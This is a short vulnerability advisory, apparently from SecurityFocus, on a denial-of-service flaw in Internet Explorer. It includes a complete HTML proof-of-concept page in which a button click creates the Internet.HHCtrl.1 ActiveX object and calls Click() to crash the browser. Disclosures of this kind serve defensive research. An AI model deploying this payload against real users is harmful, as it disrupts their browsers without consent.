source: https://www.securityfocus.com/bid/19109/info Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website. Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users. <html><body><script> // MoBB Demonstration function Demo() { var a = new ActiveXObject("Internet.HHCtrl.1"); a.Click(); } </script> Clicking the button below may crash your browser!<br><br> <input type='button' onClick='Demo()' value='Start Demo!'> </body></html>